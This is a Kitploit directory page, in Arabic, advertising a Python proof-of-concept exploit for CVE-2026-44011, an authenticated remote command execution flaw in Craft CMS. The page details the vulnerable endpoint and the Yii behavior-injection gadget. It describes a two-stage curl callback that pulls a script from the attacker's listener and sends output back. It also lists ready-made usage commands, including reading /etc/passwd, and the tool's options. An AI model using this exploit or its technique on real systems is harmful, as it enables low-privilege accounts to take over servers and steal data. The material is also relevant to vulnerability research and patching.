Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-44011-poc — استغلال إثبات مفهوم بلغة Python للثغرة CVE-2026-44011، وهي تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في Craft CMS عبر حقن سلوك Yii، مع التقاط مخرجات الأوامر على مرحلتين. | Kitploit
أدوات/GitHubGitHub/khush-613/cve-2026-44011-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقأداة الوصول عن بعدتطوير الحمولات
GitHubkhush-613/cve-2026-44011-poc

CVE-2026-44011-poc

استغلال إثبات مفهوم بلغة Python للثغرة CVE-2026-44011، وهي تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في Craft CMS عبر حقن سلوك Yii، مع التقاط مخرجات الأوامر على مرحلتين.

عرض المستودع
16منذ 2 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-44011

تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في Craft CMS عبر حقن سلوك Yii.

المتأثر: 4.0.0–4.17.11، 5.0.0–5.9.17
تم الإصلاح في: 4.17.12، 5.9.18
الإشعار الأمني: GHSA-qrgm-p9w5-rrfw

الثغرة

نقطة النهاية /admin/actions/element-search/search تقبل معامل condition الذي يُمرَّر مباشرة إلى ElementCondition::createCondition() دون استدعاء Component::cleanseConfig() أولاً. هذا يعني أن مفاتيح Yii الخاصة ببناء الكائنات — __class، as <name> (إرفاق سلوك)، on <event> (تسجيل معالج) — تصبح فعّالة عند بناء كائن FieldLayout من بيانات الطلب.

يُرفق الاستغلال AttributeTypecastBehavior مُهيَّأً لاستدعاء Psy\Readline\Hoa\ConsoleProcessus::execute() (دالة داخلية في PSY/Yii تنفّذ أوامر shell) كدالة تحويل النوع الخاصة به. يُفعَّل السلوك عند حدث beforeSave، الذي يُشغّله Craft خلال الطلب نفسه.

أي حساب — حتى محرر منخفض الصلاحيات — يمكنه فعل ذلك. لا حاجة لصلاحيات مدير.

كيف يعمل هذا الاستغلال

بدلاً من reverse shell أعمى، يستخدم التقاط المخرجات على مرحلتين:

  1. المرحلة 1 — يحقن أمر curl يجلب سكربت shell من مستمع HTTP محلي تتحكم به
  2. المرحلة 2 — يحقن أمراً ثانياً ينفّذ ذلك السكربت؛ يقوم السكربت بإرسال مخرجاته عبر POST إلى المستمع الخاص بك

تحصل على مخرجات الأمر مباشرة في الطرفية، دون الحاجة إلى مستمع nc.

المتطلبات

  • Python 3.8+
  • مكتبة requests (pip install requests)
  • يجب أن يكون الهدف قادراً على الوصول إلى جهازك (للاستدعاء الراجع)
  • بيانات اعتماد صالحة لأي حساب Craft CMS

الاستخدام

# Basic — run id on the target
python3 exploit.py \
  -b http://target.com \
  -u [email protected] \
  -p 'password123' \
  -c 'id'

# Custom control panel path
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'

# Specify your callback address when it can't be inferred
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
  -H 10.10.14.5 --listen-port 8080

# Skip TLS verification (self-signed certs)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify

# Skip version check (e.g. version detection fails)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force

مضيف/منفذ الاستدعاء الراجع هو المكان الذي يرسل إليه الهدف المخرجات عبر POST إليك. افتراضياً يُستنتج المضيف من مسارك إلى الهدف ويُعيَّن المنفذ من قِبل نظام التشغيل. إذا كان الهدف خلف NAT أو VPN فستحتاج إلى --callback-host يشير إلى عنوان IP الخاص بك القابل للوصول.

الخيارات

-b / --base-url       Target origin (required)
-P / --cp-path        Control panel path (default: /admin)
-u / --username       Login name or email (required)
-p / --password       Password (required)
-c / --command        Shell command to execute (required)
-s / --site-id        Craft site ID (default: 1)
-e / --element-type   Element type for the condition (default: craft\elements\Category)
-t / --timeout        Request timeout in seconds (default: 15)
-H / --callback-host  Your reachable address for output callbacks
     --listen-port    Port for output listener (default: OS picks one)
     --no-verify      Skip TLS cert verification
-F / --force          Skip version range check

تم اختباره على

  • Craft CMS 5.9.8، Ubuntu 22.04

إخلاء المسؤولية

لاختبارات الأمان المصرّح بها والأبحاث فقط.

تنزيل الأداة